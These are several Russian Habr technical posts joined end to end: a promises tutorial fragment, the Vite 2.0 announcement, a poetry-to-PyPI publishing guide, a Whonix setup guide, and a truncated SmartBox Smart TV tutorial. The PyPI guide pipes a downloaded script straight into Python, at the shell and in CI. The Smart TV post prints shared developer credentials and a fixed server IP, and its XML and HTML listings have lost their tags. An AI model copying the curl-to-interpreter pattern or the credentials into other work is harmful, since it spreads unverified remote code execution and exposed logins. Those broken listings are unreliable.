Допустим, ваш заказ был готов, но вы решили, что для бургер-вечеринки вам ещё нужен молочный коктейль. Итак, вы встали в С-очередь (отдельная очередь за напитками, действительно используется в ShakeShack для более эффективного менеджмента заказов). Когда вы заказываете свой коктейль, кассир даёт вам другой поднос и другой сигнализатор. А поскольку молочный коктейль готовится очень быстро, кассир сразу же его и выдаёт, вместе с подносом. Не нужно ждать, когда зазвенит сигнализатор (он уже это делает!).
Теперь посмотрим, как работает наш код. Цепочка промисов — это просто добавление в код нового `.then()`. Значение, возвращаемое `.then()`, всегда является промисом. Просто запомните, что каждый `.then()` возвращает вам поднос и сигнализатор, а настоящее возвращаемое значение передаётся в виде аргумента в callback-функцию.
Теперь у вас есть бургер и молочный коктейль, вы готовы к БУРГЕР-ВЕЧЕРИНКЕ!
Дополнительные трюки!
---------------------
У промисов есть ещё парочка методов, позволяющих выполнять клёвые трюки.
`Promise.all()` создаёт промис, который принимает в качестве аргумента массив промисов (элементов). Этот промис выполняется тогда, когда выполнены всего его элементы. Допустим, вы заказали 5 разных бургеров для своих друзей, но не хотите ходить и забирать их по одному все 5 раз, а тогда, когда они все будут готовы. В данном случае хорошее решение — `Promise.all()`.
`Promise.race()` похож на `Promise.all()`, но при этом промис считается выполненным или отклонённым, как только будет выполнен или отклонён хотя бы один его элемент. Такое поведение позволяет эмулировать схему «пробуй и хватай» (try and grab). Если вы невероятно голодны, то можете одновременно заказать бургер, чизбургер и хот-дог, но взять то, что первое поступит с кухни. Но в таком случае, если, к примеру, кухня закрылась или перестала почему-то работать, и первым делом отклоняет промис бургера, то и весь промис будет отклонен.
Также можете ещё почитать про промисы:
* [promise-cookbook](https://github.com/mattdesl/promise-cookbook/blob/master/README.md)
* [JavaScript Promises: an Introduction](https://developers.google.com/web/fundamentals/getting-started/primers/promises) | https://habr.com/ru/post/323066/ | null | ru | null |
# Анонс Vite 2.0
Сегодня я рад объявить об официальном релизе Vite 2.0!
Vite (французское слово означает «быстрый», произносится `/vit/` *("вит" при. пер.)*) - это новый вид инструментов сборки для веб-разработки. Подумайте о предварительно сконфигурированном dev-сервере + сборщик, но более компактном и быстром. Он использует встроенную в браузер поддержку [ES модулей](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) и инструменты, такие как [esbuild](https://esbuild.github.io/), для быстрого и современного опыта разработки.
Чтобы понять, насколько быстро работает Vite, вот видео сравнение загрузки приложения React на Repl.it с использованием Vite и `create-react-app` (CRA):
Если вы никогда раньше не слышали о Vite и хотели бы узнать о нем больше, ознакомьтесь с [обоснованием этого проекта](https://vitejs.dev/guide/why.html). Если вам интересно, чем Vite отличается от других аналогичных инструментов, посмотрите [сравнения](https://vitejs.dev/guide/comparisons.html).
Что нового в версии 2.0
-----------------------
Поскольку мы решили полностью реорганизовать внутреннее устройство до того, как версия 1.0 вышла из RC, это фактически первая стабильная версия Vite. Тем не менее, Vite 2.0 имеет много значительных улучшений по сравнению с предыдущим воплощением:
### Агностическое ядро фреймворка
Первоначальная идея Vite зародилась как [хакерский прототип, который обслуживает однофайловые компоненты Vue через ESM](https://github.com/vuejs/vue-dev-server). Vite 1 был продолжением этой идеи с реализованным HMR поверх.
Vite 2.0 вобрал то, что мы узнали в процессе, но был переработан с нуля с более надежной внутренней архитектурой. Теперь он полностью независим от фреймворка, а вся специфичная для фреймворков функциональность делегируется плагинам. В настоящее время существуют официальные [шаблоны для Vue, React, Preact, Lit Element](https://github.com/vitejs/vite/tree/main/packages/create-app) и продолжается интеграции Svelte усилиями сообщества.
*(Смотрите так же* [*Awesome Vite*](https://github.com/vitejs/awesome-vite) *- Прим. Пер.)*
### Новый формат плагинов и API
Вдохновленная [WMR](https://github.com/preactjs/wmr), новая система плагинов расширяет интерфейс плагинов Rollup и [совместима со многими плагинами Rollup](https://vite-rollup-plugins.patak.dev/) из коробки. Плагины могут использовать перехватчики, совместимые с Rollup, с дополнительными перехватчиками и свойствами, специфичными для Vite, для настройки поведения исключительно для Vite (например, различное поведение при разработке и сборке или настраиваемая обработка HMR).
Программный API также был значительно улучшен, чтобы упростить работу с инструментами / фреймворками более высокого уровня, созданными на основе Vite.
### Предварительная сборка зависимостей используя esbuild
Поскольку Vite является собственным сервером разработки и использует ESM, он предварительно собирает и упаковывает зависимости, чтобы уменьшить количество запросов браузера и обрабатывать преобразование CommonJS в ESM. Раньше Vite делал это с помощью Rollup, а в версии 2.0 используется esbuild, что приводит к 10-100-кратному ускорению предварительной сборки зависимостей. Для справки, холодная загрузка тестового приложения с тяжелыми зависимостями, такими как React Meterial UI, раньше занимала 28 секунд на Macbook Pro с процессором M1, а теперь занимает ~1,5 секунды. Ожидайте аналогичных улучшений, если вы переходите с традиционной установки на основе сборщика.
Первоклассная поддержка CSS
---------------------------
Vite рассматривает CSS как важную часть графа модулей и поддерживает следующее из коробки:
1. **Улучшение преобразователя**: пути `@import` и `url()` в CSS улучшены с помощью преобразователя Vite для учета псевдонимов и зависимостей npm.
2. **Перебазирование URL**: пути `url()` автоматически изменяются независимо от того, откуда импортируется файл.
3. **Разделение CSS кода**: отделённый фрагмент JS также генерирует соответствующий отдельный файл CSS, который автоматически загружается параллельно с фрагментом JS по запросу.
### Server-Side Rendering (SSR) Support
Vite 2.0 поставляется с [экспериментальной поддержкой SSR](https://vitejs.dev/guide/ssr.html). Vite предоставляет API-интерфейсы для эффективной загрузки и обновления исходного кода на основе ESM в Node.js во время разработки (почти как HMR на стороне сервера) и автоматически экстернализирует совместимые с CommonJS зависимости для повышения скорости разработки и сборки SSR. Продуктовый сервер можно полностью отделить от Vite, и ту же настройку можно легко адаптировать для выполнения предварительного рендеринга / SSG.
Vite SSR предоставляется как функция низкого уровня, и мы ожидаем увидеть фреймворки более высокого уровня, использующие ее под капотом.
### Поддержка устаревших браузеров
Vite по умолчанию нацелен на современные браузеры с собственной поддержкой ESM, но вы также можете получить поддержку устаревших браузеров через официальный [@vitejs/plugin-legacy](https://github.com/vitejs/vite/tree/main/packages/plugin-legacy). Плагин автоматически создает двойные modern/legacy пакеты и предоставляет правильный пакет на основе браузера, обеспечивая более эффективный код в современных браузерах.
Попробуйте!
-----------
Это было много изменений, но начать работу с Vite просто! Вы можете запустить приложение на базе Vite буквально за минуту, начиная со следующей команды (убедитесь, что у вас Node.js> = 12):
```
npm init @vitejs/app
```
Затем ознакомьтесь с [руководством](https://vitejs.dev/guide/), чтобы узнать, что Vite предлагает из коробки. Вы также можете проверить исходный код на [GitHub](https://github.com/vitejs/vite), следить за обновлениями в [Twitter](https://twitter.com/vite_js) или присоединиться к обсуждениям с другими пользователями Vite на нашем [сервере чата Discord](http://chat.vitejs.dev/). | https://habr.com/ru/post/542812/ | null | ru | null |
# Как опубликовать консольную утилиту на PyPI за 1 минуту
Разработав консольную утилиту, вы решаетесь опубликовать её на PyPI. Ну правда, что может быть лучше, чем сделать её доступной через **pip install**? Погуглив, что для этого надо, вы, возможно, наткнётесь [на единственный найденный мной пост по теме](https://gehrcke.de/2014/02/distributing-a-python-command-line-application/), который мало того что от 2014 года, так ещё и требует от вас создать кучу папок и файлов для совершенно ненужных (вам) вещей.
Как же решить эту задачу без лишней головной боли в 2019 году? Я уже задавался этим вопросом и поэтому, прочитав тонну документации, создал для вас этот туториал. Вот пошаговая инструкция.
1. Создайте аккаунт на PyPI ([ссылка для регистрации](https://pypi.org/account/register/))
2. Создайте точку входа в приложение (например, файл **entry.py** со следующим содержимым)
```
def main():
print("It's alive!")
```
3. Установите **poetry**
```
curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python
source $HOME/.poetry/env
```
*(**poetry** можно [установить](https://github.com/sdispater/poetry#installation) и по-другому, например, **pip install --user poetry** — прим. перев.)*
4. Создайте окружение
```
cd myproject # Перейдите в папку проекта, который будем паковать
poetry init
```
5. Настройте консольную команду (для этого добавьте следующие строки в появившийся файл **pyproject.toml**)
```
[tool.poetry.scripts]
APPLICATION-NAME = 'entry:main'
```
**APPLICATION-NAME**надо поменять на имя консольной команды.
6. Опубликуйте утилиту! (используйте имя пользователя и пароль из шага 1)
```
poetry publish --username PYPI_USERNAME --password PYPI_PASS --build
```
Готово! Теперь другому человеку для установки достаточно всего двух команд:
```
$ sudo pip install PROJECT-NAME
$ APPLICATION-NAME
```
Где **PROJECT-NAME** — это имя, которое вы дали проекту на шаге 4, а **APPLICATION-NAME** *—* это имя команды из шага 5.
---
Обновление версии
-----------------
Всякий раз, когда вы хотите обновить модуль, просто измените номер версии в файле **pyproject.toml***:*
```
version = "0.1.0"
```
И повторите шаг 6:
```
poetry publish --username PYPI_USERNAME --password PYPI_PASS --build
```
---
Бонус: настраиваем Travis для авто-публикации
---------------------------------------------
Добавьте следующие строки в файл **.travis.yml**
```
language: python
dist: xenial
before_install:
- curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python
- source $HOME/.poetry/env
install:
- poetry install
script:
- poetry build
deploy:
- provider: script
skip_cleanup: true
script: poetry publish --username $PYPI_USER --password $PYPI_PASS
on:
branch: master
python: '3.7'
tags: true
```
И установите переменные окружения PYPI\_USER и PYPI\_PASS на [travis-ci.com](https://travis-ci.com/). После этого можно будет публиковать пакет с помощью команд:
```
git tag -a v1.2 # Replace version number with yours
git push --tags
``` | https://habr.com/ru/post/456304/ | null | ru | null |
# Whonix: руководство для начинающих
Whonix — это дистрибутив Linux на основе Debian, который разработан для обеспечения повышенной безопасности и конфиденциальности. Высокая анонимность достигается средствами VirtualBox и Tor. Whonix снижает угрозу от распространенных векторов атак, сохраняя при этом удобство использования.
Сильно перенастроенная база Debian запускается на нескольких виртуальных машинах, обеспечивая существенный уровень защиты от вредоносных программ и утечек IP-адресов.
Часто используемые приложения предварительно установлены и настроены, а при установке дополнительных приложений или персонализации рабочего стола пользователь не подвергается никакой опасности.
Whonix находится в стадии активной разработки и является единственной операционной системой, предназначенной для работы внутри виртуальной машины в сочетании с Tor.
Более подробно о Whonix и других [ОС для безопасности](https://habr.com/ru/post/432798/).
Содержание:
* Что нужно для работы с Whonix?
* Что такое Whonix Gateway и Whonix Workstation?
* Установка и настройка
* Рекомендации по использованию
### Что нужно для работы с Whonix?
1. VirtualBox
2. Непосредственно Whonix:
* Whonix Gateway
* Whonix Workstation
Сейчас оба идут в одном файле **.ova**
### Что такое Whonix Gateway и Whonix Workstation?
* Whonix Gateway – выступает в качестве шлюза во всемирную сеть, направляя весь трафик через сеть Tor.
* Whonix Workstation — это место, где мы работаем как пользователь. Находится в полностью изолированной сети.
*ПРИМЕЧАНИЕ: Помните, что нужно запустить Gateway и Workstation*
### Установка и настройка
Загружаем и устанавливаем VirtualBox.
Переходим к файлу
Выбираем образ Whonix Gateway и жмём «Continue».
Ничего не меняем и просто жмём «Import».
Соглашаемся.
Ждём, пока Whonix-Gateway.ova будет импортирован.
Повторяем все действия и для Whonix-Workstation.ova.
В VirtualBox откройте Whonix Gateway и Whonix Workstation. Это можно сделать, выбрав их и нажав кнопку запуска (с зеленой стрелкой) или дважды щелкнув по ним.
*ПРИМЕЧАНИЕ. Всегда запускайте сначала Gateway, а затем Workstation.*
После загрузки Whonix Gateway попросит подключиться к сети Tor. Это легко сделать с помощью Wizard. Нажимаем «Next» в обоих случаях и дожидаемся подключения.
Когда Gateway подключится к Tor, будет сделан поиск обновлений и появится следующее сообщение.
Открываем терминал (первый значок рядом с «Приложениями» в нижнем левом углу) и вводим:
```
sudo apt-get update && sudo apt-get upgrade
```
При появлении запроса вводим пароль (по умолчанию – changeme).
Теперь в окне Workstation, скорее всего, тоже началась проверка обновлений. Если нет, переходим в Application (нижний левый угол)> System > WhonixCheck.
Открываем терминал и вводим
```
sudo apt-get-update-plus dist-upgrade
```
Тоже самое, что и с Gateway.
Теперь можно изменить пароль по умолчанию.
Для этого в терминале вводим:
* sudo su
* вводим пароль по умолчанию, если потребует (пароль по умолчанию — changeme)
* вводим passwd
* вводим новый пароль администратора, который нужно ввести дважны
* вводим passwd user
* введим свой пароль пользователя дважды
### Рекомендации по использованию
* Необходимо регулярно делать проверку системы и вовремя обновлять как Gateway, так и Workstation.
* Никогда не разворачиваем браузер на весь экран. Если нужно увеличить размер окна, то делаем это вручную.
* Каждую сессию в браузере начинаем с проверки IP адреса.
 | https://habr.com/ru/post/532980/ | null | ru | null |
# Создание кроссплатформенного Smart TV приложения на базе библиотеки SmartBox для Samsung, LG, Philips и других
Ввиду живого интереса к [прошлой статье](http://habrahabr.ru/post/211236/) о библиотеке [Smartbox](https://github.com/immosmart/smartbox), которая призвана стать основой для любого кроссплатформенного SmartTv приложения, я решили описать, как же создать такое приложение **разом** для **трёх** вендоров SmartTv устройств:
Итак, в этой статье вы найдёте много полезного, если вы:* **Начинающий Smart'ист** но имеете опыт в классических js/html приложениях
* **Продвинутый js/html разработчик** и ищите платформу для кроссплатформенного SmartTV решения
* **Начинающий js/html разработчик** и хотите начать с «Хардкора»
* **Тестировщик** которому нужно запустить приложения, разработанные третьими лицами
Статья получилась «пухлой» и с кучей спойлеров — потому оглавление:* [Тестирование приложения](#test)
* [Запуск в эмуляторах вендоров(и удалённых устройствах)](#starte)
* [Запуск на SmartTv телевизорах](#startd)
* [Разработка приложения](#develop)
* [Ссылки на ресурсы для разработчиков](#see)
* [Библиотека Smartbox](#lib)
\* Из-за того что, эта статья предназначена не только для разработчиков — первыми и, как показалось нашей команде, более интересными, идут пункты о запуске приложений в эмуляторах и конечных устройствах.
**Тестирование приложения**
---------------------------
Окунувшись в разработку SmartTv приложений, вы в конечном итоге будите вынужденны так или иначе тестировать своё творение. [Дао](http://ru.wikipedia.org/wiki/%D0%94%D0%B0%D0%BE) тестирования для SmartTv состоит из последовательных пунктов:
1. Тестирование в браузере
2. Тестирование в эмуляторах вендоров
3. Тестирование на конечных устройствах
Далее мы рассмотрим, два последних шага на пути тестировщика. Первый пункт не является специфичным, а потому Вы сами найдете много интересного, просто запустив приложение и нажав клавишу `F12` в браузере. Еще одним «хаком» в тестировании является автоматизация этого процесса. В библиотеке, например, используется [jasmine](http://pivotal.github.io/jasmine/) для [тестов](http://immosmart.github.io/smartbox/) в среде запуска.
**Запуск в эмуляторах вендоров**
--------------------------------
Далеко, как мы выяснили, не соответствующее реальности — это эмуляторы, поставляемые с каждым SDK. ([Samsung](http://www.samsungdforum.com/Devtools/SdkDownload), [LG](http://developer.lge.com/resource/tv/RetrieveSdktools.dev), [Philips](http://www.yourappontv.com/sdk/download)) В конечном итоге, запуски на эмуляторах должны стать для Вас не более чем самопроверкой. И работоспособное приложение в эмуляторе не может считаться заведомо работоспособным на устройстве. И напротив, если у Вас что-то не работает в эмуляторе, не факт что это фиаско.
**Как запустить приложение в эмуляторе Samsung**Для запуска приложения в последней версии эмулятора вам необходимы: сам эмулятор, который является образом для [VirtualBox](https://www.virtualbox.org/) и доступен для скачивания на странице [SDK](http://www.samsungdforum.com/Devtools/SdkDownload). После импорта образа, вам необходимо указать путь до директории с Вашими проектами и запустить виртуальную машину. Главное что не стоит забывать — название директории в виртуальной машине должно быть `Apps` с соблюдением регистра. На скриншотах вы найдёте пояснения.
(картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/73c/8c9/2b0/73c8c92b0dcc3f48967957ecb8e641c6.jpg)[](https://habrastorage.org/getpro/habr/post_images/632/e6a/ad3/632e6aad30e7bb5cf7b996399f997986.jpg)[](https://habrastorage.org/getpro/habr/post_images/9a2/a8d/7af/9a2a8d7af82d9d6d258d2d40ab8c1eeb.jpg)**Как запустить приложение в эмуляторе Samsung(старое SDK)**Если вы разрабатываете приложение с помощью официального SDK, то проблем быть попросту не может, там есть большая кнопка запуска. В случае, когда вы хотите просто запустить приложение, вам необходимо поместить проект в директорию приложений SDK и запустить эмулятор, выбрав нужное приложение. На картинках видно как это сделать.
(картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/173/cd5/4d7/173cd54d7a8e12cf0d40c3bc0f3a784e.jpg)[](https://habrastorage.org/getpro/habr/post_images/978/58b/c6c/97858bc6c7dcefed0a641b65e47019db.jpg)[](https://habrastorage.org/getpro/habr/post_images/e7a/113/3ec/e7a1133ec9db5d0867ac6a627d2c39da.jpg)**Как запустить приложение в эмуляторе LG**После запуска эмулятора, который устанавливается вместе с SDK, и фактически является виртуальной машиной с OS телевизора, Вы сможете указать URL вашего приложения (да приложение должно быть доступно по http, это может быть и локальный сервис на apache/denwer/nginx). Картинки демонстрируют последовательность действий.
(картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/f27/967/626/f279676263da90c01b78456c25ef3b3c.jpg)[](https://habrastorage.org/getpro/habr/post_images/81d/961/1dd/81d9611dde9d385c6b5702764e2cd168.jpg)>**Как запустить приложение в эмуляторе Philips**Пожалуй, самое «чудесное», что могло случиться с разработчиками GUI, это получить при запуске эмулятора консоль. Не буду ничего говорить, смотрите сами
(картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/743/eb8/e43/743eb8e4306e937202b91a8cfae7fb82.png)[](https://habrastorage.org/getpro/habr/post_images/478/2c5/598/4782c5598558c05bb6df803d5e616913.png)[](https://habrastorage.org/getpro/habr/post_images/df2/964/def/df2964defe0e1477820fa1284efaee1f.jpg)
Дальнейший шаг в тестировании приложений сделала компания Samsung, запустив лабораторию на удалённых устройствах. Фактически, это реальные девайсы, позволяющие проверить все функции вашего детища, которые невозможно лицезреть в эмуляторах (например, работа плеера со всеми форматами, взаимодействие с системами DRM).
Для запуска нашего приложения, необходимо выбрать устройство на сайте [лаборатории](https://rts.samsungdforum.com) и следовать инструкциям:**Как запустить приложение в Remote Test System Samsung**(картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/af4/2f9/92e/af42f992ed634d547a406ddee99f9f37.jpg)[](https://habrastorage.org/getpro/habr/post_images/92a/393/612/92a3936121e54624d81b8e9bc25e4b9e.jpg)
**Запуск на SmartTv телевизорах**
---------------------------------
[](http://www.kinopoisk.ru/film/602727/)
Мы рассмотрим самый простой, на мой взгляд, способ установки и проверки приложений на конечных пользовательских устройствах. Для этого нам понадобится:* Http сервер, с поддержкой php — для LG.
Я разместил приложение по адресу <http://paunin.com/content/demoApp/index.html>
* Само приложение, его можно взять в [репозитрии библиотеки Smartbox](https://github.com/immosmart/smartbox), в директории [`demo/demoApp`](https://github.com/immosmart/smartbox/tree/master/demo/demoApp);
Можно использовать адрес публичного демо <http://immosmart.github.io/smartbox/demo/demoApp/>, если у вас по какой-то причине нет HTTP сервера для публикации приложения. Однако, хочу заметить, что для возможности экспериментирования, и разработки приложения HTTP сервер необходим (если вы, конечно, не будите использовать альтернативные методы инсталляции, описанные в документации вендоров)
### Краткая инструкция по всем вендорам(выжимка)
**Samsung****10-12 платформы**:1. Пользователь производит вход в аккаунт (кнопка А на пульте)
2. Набирает в поле Уч.зап. Samsung: develop
3. В поле пароль: 123456 (любой другой тоже должен подходить)
4. Выбирает «Вход»
5. Нажимает на ПДУ кнопку «Enter»
6. Вход осуществлён
7. Нажимает на ПДУ кнопку D (в некоторых моделей телевизоров кнопка TOOLS)
8. Выбирает «Разработка»
9. Нажимает на ПДУ кнопку «Enter»
10. Выбирает «Настройка IP-адреса серв.»
11. Нажимает на ПДУ кнопку «Enter»
12. Набирает IP-адрес: 82.146.41.200
13. Нажимает на ПДУ return
14. Выбирает «Синхронизация приложений пользователя»
15. Нажимает на ПДУ кнопку «Enter»
16. Происходит обновление приложения
**13 платформа**:1. Нажать на кнопку Smart Hub
2. Выполнить вход в учётную запись develop (Menu — Smart Features -> Samsung Account — > Login (name: develop; password: sso1029dev! )
3. На экране Smart Hub существует вкладка «More apps» внизу, нужно нажать на неё
4. Выбрать Options в верхнем правом углу экрана
5. Выбрать IP Settings из выпадающего меню
6. Набрать IP 82.146.41.200
7. Ещё раз выбрать Options в верхем правом углу
8. Выбрать App Sync из выпадающего списка
\* В ряде случаев для TV требуется разрешение на установку сторонних приложений, что обеспечивается ключём разработчика, который можно получить обратившись в RND Samsung (<http://samsungdforum.com/>) Сделано вендером для пресечения нелегального распространения приложений**LG**1. Скопировать архив <http://paunin.com/content/lg_drm.zip> на USB-flash
2. Распаковать архив, так чтобы путь до файлов был: Корень usb-flash/lgapps/installed/ и т.д.
3. Вставить USB-flash в USB разъём телевизора
4. Включить телевизор (Power On на Пульте Дистанционного Управления)
5. Нажать Home на ПДУ – произойдёт переход в Smart TV LG
6. Нажать на красную кнопку на ПДУ – появится форма для входа в аккаунт
7. Набрать в поле login: %свой логин% (если нет логина — зарегистрироваться, в телевизоре есть средства)
8. Набрать в поле пароля %свой пароль%
9. Нажать Ок – произойдёт вход в аккаунт и переход обратно в Smart TV LG
10. Выбрать «Мои приложения» в правом нижнем углу
11. Нажать Page down (кнопка переключения каналов вниз) на ПДУ — произойдёт переход на Мои приложения на USB
12. Запустить приложение
**Philips**Для запуска приложений на телевизорах Philips с функцией SmartTV, откройте в браузере TV ссылку <http://goo.gl/o93keD>
### Полная инструкция по установке
Для того чтобы запустить приложение на TV/BD Samsung. Необходимо создать `widgetlist.xml` в корне сервера на который можно обратиться по IP адресу. Например, http://xxx.xxx.xxx.xxx/widgetlist.xml. Я разместил файл по адресу <http://82.146.41.200/widgetlist.xml>.Файл, напросто, является списком приложений для установки. В списке виджетов главным элементом является узел `download`, где указывается ссылка на zip-архив вашего приложения. Остальные параметры не имеют значения, даже размер. Как видно из нашего виджет-листа своё приложение я зазиповал и сложил по адресу <http://paunin.com/content/smartbox.zip>.
Теперь всё что осталось это сообщить устройству адрес вашего IP c `widgetlist.xml` и обновить приложения. Это делается средствами устройства в зависимости от модели:**10-12 платформы**1. Пользователь производит вход в аккаунт (кнопка А на пульте)
2. Набирает в поле Уч.зап. Samsung: develop
3. В поле пароль: 123456 (любой другой тоже должен подходить)
4. Выбирает «Вход»
5. Нажимает на ПДУ кнопку «Enter»
6. Вход осуществлён
7. Нажимает на ПДУ кнопку D (в некоторых моделей телевизоров кнопка TOOLS)
8. Выбирает «Разработка»
9. Нажимает на ПДУ кнопку «Enter»
10. Выбирает «Настройка IP-адреса серв.»
11. Нажимает на ПДУ кнопку «Enter»
12. Набирает IP-адрес: 82.146.41.200
13. Нажимает на ПДУ return
14. Выбирает «Синхронизация приложений пользователя»
15. Нажимает на ПДУ кнопку «Enter»
16. Происходит обновление приложения
**13 платформа**1. Нажать на кнопку Smart Hub
2. Выполнить вход в учётную запись develop (Menu — Smart Features -> Samsung Account — > Login (name: develop; password: sso1029dev! )
3. На экране Smart Hub существует вкладка «More apps» внизу, нужно нажать на неё
4. Выбрать Options в верхнем правом углу экрана
5. Выбрать IP Settings из выпадающего меню
6. Набрать IP 82.146.41.200
7. Ещё раз выбрать Options в верхем правом углу
8. Выбрать App Sync из выпадающего списка
Наверное, самый захватывающий квест из всех рассматриваемых устройств. Для установки приложения LG его необходимо зарегистрировать на [странице разработчика](http://developer.lge.com/apptest/retrieveApptestReg.dev)(требуется регистрация/авторизация).
Заполняем всё, как указано на картинках и скачиваем получившийся файлик.
Если кому-то понадобится, я свой файлик разместил по адресу [http://paunin.com/content/lg\_wrapper.zip](http://paunin.com/content/lg_drm.zip).**Регистрируем приложение**(Картинки кликабельны)
[](https://habrastorage.org/getpro/habr/post_images/fc8/9aa/063/fc89aa063d5a1c473c4254ec81c83eb3.png)[](http://habr.habrastorage.org/post_images/6de/06e/2b2/6de06e2b21f6ca1740813d0afa736027.png)И теперь всё что осталось — доставить приложение (точнее его подпись, само приложение находится в интернете) на телевизор:**Установка приложения - формальная инструкция**1. Скопировать архив <http://paunin.com/content/lg_drm.zip> на USB-flash
2. Распаковать архив, так чтобы путь до файлов был: Корень usb-flash/lgapps/installed/ и т.д.
3. Вставить USB-flash в USB разъём телевизора
4. Включить телевизор (Power On на Пульте Дистанционного Управления)
5. Нажать Home на ПДУ – произойдёт переход в Smart TV LG
6. Нажать на красную кнопку на ПДУ – появится форма для входа в аккаунт
7. Набрать в поле login: %свой логин% (если нет логина — зарегистрироваться, в телевизоре есть средства)
8. Набрать в поле пароля %свой пароль%
9. Нажать Ок – произойдёт вход в аккаунт и переход обратно в Smart TV LG
10. Выбрать «Мои приложения» в правом нижнем углу
11. Нажать Page down (кнопка переключения каналов вниз) на ПДУ — произойдёт переход на Мои приложения на USB
12. Запустить приложение
Для запуска на Philips SmartTv устройствах приложения, нам понадобится всего лишь запустить его в браузере путём указания адреса HTTP.В нашем случае используем адрес <http://paunin.com/content/demoApp/index.html>. Однако, сразу после старта браузера, вы заметите нативные рамки вокруг элементов в фокусе, что не приемлемо для боевого приложения, и чего в действительности не будет при размещении приложения в LG хабе.
Всё решается указанием при ответе с сервера необходимых заголовков, а именно "`application/ce-html+xml`". Этим занимается присутствующий а приложении php скриптик `philips.php`. Соответственно получаем адрес типа <http://paunin.com/content/demoApp/philips.php>. Для ускорения набора адреса с пульта телевизора, можете воспользоваться сервисом сокращения ссылок, например, <http://goo.gl/>. У меня получился адрес <http://goo.gl/o93keD>
**Разработка приложения**
-------------------------
Я рассмотрю, исключительно, разработку приложения на базе библиотеки Smartbox. Если вы решите, что функционала библиотеки недостаточно для задач, стоящих перед вами, вы всегда можете использовать нативные методы платформ, изучив [документацию вендора устройств.](#see) Также, вы можете поучаствовать в развитии и доработках [проекта на gitHub'е](https://github.com/immosmart/smartbox).
Для нетерпеливых — [готовое приложение](http://paunin.com/content/demoApp/)
### Структура приложения
### Конфигурация приложения
Конфиги приложения должны храниться в нескольких файлах, и все они в относятся к Samsung платформе:
**Параметры widget.info (только для Samsung)** Это обычный текстовый файл с говорящими за себя параметрами, где интересный нам параметр — это `Screen Resolution`, который определяет разрешение для которого написано ваше приложение, рекомендуемый на текущий момент это HD `1280x720`. Допустимы: SD `960x540` и FullHD `1920x1080`
```
Use Alpha Blending = Yes
Screen Resolution = 1280x720
```
**Параметры config.xml (только для Samsung)**[Полная дока](http://www.samsungdforum.com/Guide/art00011/index.html)
```
xml version="1.0" encoding="UTF-8"?
y
y
0.1
y
y
n
n
y
y
y
SmartBox DemoApp
1280
720
Smart
info@example.com
https://github.com/immosmart/smartbox
Smart
icon/sb\_demo\_115x95.png
icon/sb\_demo\_115x95.png
icon/sb\_demo\_95x78.png
icon/sb\_demo\_85x70.png
```
Index.html
----------
При запуске нашего приложения всегда открывается файл `index.html`, в котором и подключаются все библиотеки и наши скрипты, а также задаётся начальная вёрстка.**index.html с описанием подключаемых файлов и вёрстки**
```
xml version="1.0" encoding="UTF-8"?
Smartbox demo
* Videos
* Inputs
* Navigation
Standart input
--------------
Input value:
Input with email keyboard
-------------------------
Input with num keyboard and maximum 4 signs
-------------------------------------------
* 1
* 2
* 3
* 4
* 5
* 6
* 7
* 8
```
Самое важное, что стоит тут отметить — организация навигации. Все **видимые** элементы с классом `nav-item` могут получить на себя фокус и позже инициировать события (`focus`, `click`, etc). Для оптимизации навигации, в боковом меню и на сцене видео используется `data-nav_type="vbox"`, что говорит плагину навигации " перестать использовать поиск направления согласно положению элементов на странице, и фокус начинает перемещаться от одного sibling элемента к другому, что гораздо быстрее" [(с) Документация по навигации](https://github.com/immosmart/smartbox/blob/master/docs/ru_nav.md). Другой хак — это аттрибут `data-nav_loop="true"`, что позволяет зацикливать навигацию в рамках данного элемента.
### Главный объект приложения App
Заглянем в файл [`js/app.js`](https://github.com/immosmart/smartbox/blob/master/demo/demoApp/js/app.js) После инициализации самого Smartbox происходит инициализация приложения `SB.ready(_.bind(App.initialize, App));`, запуская тем самым показ легенды `$$legend.show();` и добавление обработчиков событий `this.setEvents();` от элементов меню, плеера, клавиш пульта. Дополнительные комментарии в самом файле.
### Тригеры изменения легенды
Во время работы приложения, мы хотим показывать пользователю подсказки по использованию тех или иных клавиш пульта. Самый простой способ — это обновлять легенду в зависимости от произошедшего события. Этим собственно и занимается файл [`js/legendTriggers.js`](https://github.com/immosmart/smartbox/blob/master/demo/demoApp/js/legendTriggers.js). При фокусе `nav_focus` или потери фокуса `nav_blur` мы задаем элементам легенды `window.$$legend.keys` различные значения, которые тот час же выводятся с соответствующим значком.
### Коллекция видео потоков
Как и любое приложение, наше должно иметь источник данных для отображения, взаимодействия с пользователем или внутренней настройки. Все наши данные для сцены `videos` хранятсяв файлике `videos.js`. Это лишь пример, а потому реальное приложение, вероятно, будет получать данные иным способом. Всё что делает этот кусок кода — сохраняет массив объектов (со ссылками на потоки и их назвния) в глобальный объект приложения `window.App.videos = [...]`. Далее, в файле сцены, этот массив будет развёрнут и вставлен в html в `div.scene_video`.
### Сцены приложения
Сцены это всего навсего объекты одной структуры, хранящиеся в глобальном объекте `window.App`, которые показываются и скрываются в зависимости от того, на какой элемент меню был сделан `click` **Код отвечающий за показ сцен**Навешивание событий по клику на элементы меню:
```
//js/app.js
$('.menu').on('click', '.menu-item', function ( e ) {
var scene = e.currentTarget.getAttribute('data-content');
self.showContent(scene);
});)
```
Метод инициирующий отображение сцен:
```
//js/app.js
showContent: function ( scene ) {
var cur = this.currentScene,
newScene = this.scenes[scene];
if ( cur !== newScene ) {
if ( !newScene ) {
$$error('Scene ' + scene + ' doesn\'t exist');
} else {
if ( cur ) {
cur.hide();
}
newScene.show();
this.currentScene = newScene;
}
}
}
```
Не буду подробно останавливаться на реализации сцен, а опишу лишь специфику относящуюся к библиотеке Smartbox.
#### videos.js
Как и говорилось выше, коллекция видео-потоков, после разворачивания в html `this.renderItems(App.videos);`, становится доступной для навигации за счёт класса в элементе `nav-item`. При инициализации сцены, все видео-потоки получают обработчик события `this.$el.on('click', '.video-item', this.onItemClick);`, где и происходит запуск потока `Player.play(...)`. [Документация по плееру](https://github.com/immosmart/smartbox/blob/master/docs/ru_player.md).
#### input.js
